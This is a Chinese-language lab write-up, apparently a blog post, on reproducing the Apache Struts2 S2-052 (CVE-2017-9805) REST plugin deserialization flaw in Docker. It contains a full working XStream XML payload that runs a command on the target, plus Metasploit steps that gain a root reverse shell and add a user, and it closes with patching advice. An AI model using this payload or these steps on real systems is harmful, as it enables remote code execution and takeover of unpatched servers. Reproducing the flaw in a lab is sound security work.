话说哥们正吃着火锅唱着歌呢~~
突然瞥见微信群的信息“Struts2 S2-052 RCE。。。。”
赶紧放下筷子瞅一眼,
这Struts2真是不让人省心啊,
又双叒叕的出漏洞了~~~
你说出漏洞就出漏洞吧,
动不动就是远程代码执行,
心脏不好的估计吓死好几回了。
先看看漏洞简介:
2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。
官方介绍在这里:https://struts.apache.org/docs/s2-052.html
其他介绍各大小安全资讯网站都有了,这里就不多介绍了。(我感觉他们的速度比香港记者还快)
0x01 漏洞环境搭建
这里我偷懒,就用Docker搭建了(前提是你得有Docker环境)
镜像提供感谢:GitHub - Medicean/VulApps
快速搭建各种漏洞环境(Various vulnerability environment) https://github.com/Medicean/VulApps
拉取镜像:
docker pull medicean/vulapps:s_struts2_s2-052
构建环境:
docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052
这样两条命令就Ok了~~
0x02 漏洞利用
浏览器访问:http://ip/struts2-rest-showcase/
同时把抓包工具打开,Burpsuite 就行了。
然后随便选一个ID 进行 编辑,比如选 3 进行编辑,
改好之后点 Submit
这时候,抓包工具这边就获取到了数据包了
来重放这个数据包,不过要改点东西。
首先我们把 Content-Type 改成 application/xml
构建POST数据如下:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/hahaha</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next>foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
划重点:要执行的命令在这里:
<command><string>/usr/bin/touch</string><string>/tmp/hahaha</string> </command>
作用在目标上新建一个文件
先看看目标上的文件
然后我们提交构建好的POST数据包。
提交之后返回很多报错信息
赶紧去目标机上看看。
Duang~~成功了。
0x03 漏洞利用姿势之反弹shell
这里借用 https://github.com/wvu-r7 提供的利用脚本。
翠花,上酸菜,啊~~呸~~上MSF
话说好像我的msf也是在Docker里面(看来我是够懒的~~/手动捂脸)
use exploit/multi/http/struts2_rest_xstream
看看设置的参数
还挺多,其实就设置好RHOST,RPORT和LHOST就行了。
然后 exploit ,见证奇迹的时候了
成功返回一个session
看看ip啥的吧
好嘛~~~root权限?
试试 新建用户 ?新建一个test的用户试试
目标机是否有test用户,目前是没有
试试吧
再看看:
Duang~~成功了。
更多利用姿势就靠各位大佬了~~~
0x03 修复建议
影响范围:Struts 2.5 – Struts 2.5.12 版本,据说还影响到 2.3.33 版本
修复方法:更新更新更新~~~升级Struts到2.5.13最新版本
临时修复:在不使用时删除StrutsREST插件,限制服务端扩展类型
在struts.xml配置文件中加入:
<constantname="struts.action.extension" value="xhtml,,json" />
0x04:参考资料
【预警通告】Apache Struts2(S2-052)远程代码执行漏洞 | 绿盟科技博客 http://blog.nsfocus.net/s2-052-struts2-remote-code-execution-vulnerability-4
【9月6日更新】漏洞预警 | 高危Struts REST插件远程代码执行漏洞(S2-052) - FreeBuf.COM | 关注黑客与极客
http://www.freebuf.com/vuls/146718.html
【漏洞公告】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)|云安全 - 开发者论坛 https://bbs.aliyun.com/read/534776.html